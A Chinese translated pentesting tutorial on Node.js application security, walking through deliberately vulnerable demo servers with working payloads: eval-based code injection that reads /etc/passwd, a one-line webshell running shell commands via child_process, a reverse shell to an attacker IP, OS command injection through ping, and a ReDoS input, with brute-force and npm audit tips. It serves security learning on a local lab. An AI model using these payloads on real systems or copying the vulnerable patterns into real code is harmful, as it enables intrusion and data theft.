教你利用Node.js漏洞搞事情


PentestingNode.js Application : Nodejs Application Security

由prison翻譯整理,首發i春秋。

 

引言:
由於原文地址在牆外,所以做下簡介:
本篇文章較為詳細的講述了通過node.js的已知漏洞來完成滲透測試的過程,介紹了node.js存在的漏洞可以在多種工具下的不同利用方式。因為我認為會對論壇部分web安全新手有所幫助,所以整理到論壇中。難度系數:三顆星。
關於Node.js的介紹我們這里就不再贅述。
 
今天我們主要講下Node.js的一些可以對滲透測試工作有一些幫助的漏洞。為了更好地讓大家理解,我會對其中一些代碼進行分
析。
1  你可以很容易的從網絡上下載並安裝Node.js到自己的電腦
2  在我們的事例中我使用了Node.js的一個框架Express,你可以把它安裝到自己的電腦
 
 
創建一個目錄,我這里命名為nodeapp
$ mkdir nodeapp
$ cd nodeapp

 

用npm init 命令為你的項目創建一個package.json文件。

 

1.png

 

這個命令會詢問你一些像是項目名稱,版本之類的問題,你可以一直按回車鍵選擇默認。
 
現在在nodeapp目錄下安裝Express
$npm install expres –save

2.png

 

你也可以選擇臨時安裝express,而不將它添加到依賴項列表中。

$npm install express

Eval()函數很危險

遠程代碼執行(利用服務器端JavaScript注入)【JavaScript任意代碼執行】
 
eval()是一個危險的函數,任何輸入都可以通過它執行,形成一種遠程命令執行場景,程序可以越權執行。

示例1:

 

var x = 2;
var y = 2;
var z = '10'';
eval('x + y + 6'); // returns 10
eval(z);           // returns 10
  
Both eval() will return value 10.

示例2:

ar express = require('express');[/align]var app = express();
app.get('/', function(req, res) {
 var resp=eval("("+req.query.input+")");
 res.send('Output</br>'+resp);
});
app.listen(8001);

[codeexe.js]

3.png

如你所見,顯然eval函數從輸入參數中獲取輸入,而不需要轉義或過濾直接傳遞給eval()。這是一個很常見的典型的例子。
用戶可以通過將代碼傳遞給輸入參數來利用這個漏洞。
首先我們啟動我們的js代碼
node filename.js
node codexe.js

4.png

 

如果你啟動時看到一些錯誤,可能是其他正在運行的服務占用了端口,所以首先我們要用ps命令找到這些服務。

5.png

kill掉pid為2959的codexe.js

6.png

我們接着啟動js代碼

7.png

首先,我們將一個簡單的用戶輸入傳遞給我們代碼中的輸入參數:http://127.0.0.1:8001/?4444441111

8.png

我們用一些關於Node.js代碼執行的payload

process.arch
process.argv
process.argv0
process.channel
process.cwd()
process.geteuid()
process.getegid()
process.getgroups()
process.pid
process.platform
process.version

丟到Burp的Intruder:

9.png

導入我們的payload

從爆破結果來看,我們可以發現其中一個叫做process.cwd()返回了當前目錄值"/Users/narendrabhati/Node JS Pentesting”

10.png

確認之后,我們就可以在文件中做一些我們想做的壞事啦~
 

http://127.0.0.1:8001/?input=res.end(require('fs').readFileSync('/etc/passwd').toString())

 

11.png

現在我們搞一個簡單的webshell,像PHP shell那樣嬸兒的,你可以在其中執行/注入系統命令。
 

下面的payload將會啟動一個新的服務器,或者在八秒后你可以在8002端口上找到一個新的node.js應用。讓我們搞點花樣出來:

 

setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8002); }, 8000)

 

12.png

8秒之后你可以通過cmd進行命令執行、
 

14.png

反向連接Reverse Shell

要獲得一個反向shell,我們可以使用nodejsshell.py你可以在這里找到 python腳本
該腳本將根據攻擊者ip和攻擊者本地端口創建一個js代碼。
當您與node js應用程序有直接連接時,或者兩者都在同一個網絡中,這就非常方便了。
下面我用Kali機器192.168.131.134測試了成功Ping,然后運行了nodejsshell.py我的kali機器ip地址為192.168.131.134,端口4444。

15.png

我的kali在等待連接4444端口:

16.png

我通過nodejsshell.py在這個項目中注入代碼:

17.png

然后我的kali得到了一個反向shell

18.png

2)遠程操作系統命令執行

類似於遠程代碼執行(利用服務器端JavaScript注入),這個漏洞也允許攻擊者執行任意的命令執行。關鍵的區別在於,這個漏洞
 
的出現是因為由於使用了不安全的允許在系統間進行交互的exe.exec造成的。
 
[nodejsrce.js]
var http = require("http");
var url = require("url");
var exe = require('child_process');
http.createServer(function(request, response)
 {
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
exe.exec('ping -c 4 ' + parsedUrl.query.inject, function (err,data)
 {
  response.write("RCE-DEMO " + data);
 });
 }).listen(8005);

19.png

通過查看源代碼,我們可以說,exe。exec通過注入參數接受用戶輸入,而不需要過濾或轉義用戶輸入。因此,用戶/攻擊者可以注入任何允許他執行nodejs遠程OS命令執行的值。
下面是我們的應用程序ping命令示例。

 

20.png

 

我不打算將命令執行的基礎知識,你可以在網絡上找到關於命令執行的文章。
 
我們構造出一個典型的命令執行url:

21.png

我們可以同時傳遞多個命令:

 

 

22.png

3) RegExp DOS 漏洞

正則表達式拒絕服務(ReDoS)是拒絕服務攻擊,它利用了一個事實,即大多數正則表達式實現可能會到達極端情況,導致它們的工作非常緩慢(與輸入大小相關)。然后,攻擊者就可以使用正則表達式來執行一個程序,從而進入這些極端情況,然后掛起很長一段時間。
在短時間內,攻擊者可以通過發送大量假數據來濫用正則表達式驗證,這使得應用程序消耗大量服務器資源,從而導致其他用戶無法獲得服務/應用程序的可用性。

[ nodejsregexp.js]

 

var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
starttime = process.hrtime();
var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
response.write("Email Validation : "+emailExpression.test( parsedUrl.query.email ));
response.write("</br>Server Response Time: " + process.hrtime(starttime));
response.end();
}).listen(8006);

在輸入var emailExpression= /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;之后,容易受到DOS攻擊,攻擊者可以將大量的輸入傳遞給應用程序。導致服務/應用程序不可用。

 

http://127.0.0.1:8006/?email=narealshdlhasldhlashkldhalshdlkahslkdhklashldhalkshdklahskldhklashkldhaklshdklhalshdlahslhdhasklkhdlkahdndra.bhagdkjgkasgkdgakjsgdjkgaskgdjkagskdgjkasgjkdgjasgdgjkasgjdgjaksgjkdgjaksgkdgjaksjkgdgjaksjgkdgajksgdjkagjskdgjkajsgkdgjkasjgkdadati@websasdasdaksdgakjsgdkgajksgdjkagsjkdgajkgdjkagksdgjkasgjkdgjasjkdjkagjkdgagkasjdadecgeeks.caskdhahldkhalkshdklahsldhklashdlhaklshdlahsldhlkahsdhlashdhaklshdhaklshdklahslhdkahsdhkahsldhaskhldhalshdhlashdasdom%%%%////

 

這樣大量的輸入將會導致應用程序大量消耗服務器資源。

23.png

4 ) Brute Force/Rate LimitProtection

在對node js應用程序進行測試時,總是尋找可以執行暴力/wordlist攻擊的端點。例如:
A)忘記了密碼表單:嘗試枚舉現有的用戶
B)OTP-OTP主要用於密碼重置,移動驗證,創建帳戶
C)密碼重置代碼:有時密碼重置令牌可能存在爆破可能。
5)NPM
現有的npm包可能有一些存在的漏洞。現在Node安全項目對此進行了補救。
使用NSP工具,我們可以查找現有的漏洞。
以下命令將安裝nps。
npm i nsp –g
nsp check module-name-to-audited[檢查是否有漏洞]

或者是

nsp module-name-to-audite.json
6)自動掃描
我們可以使用NodeJSScan進行自動化的漏洞掃描。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM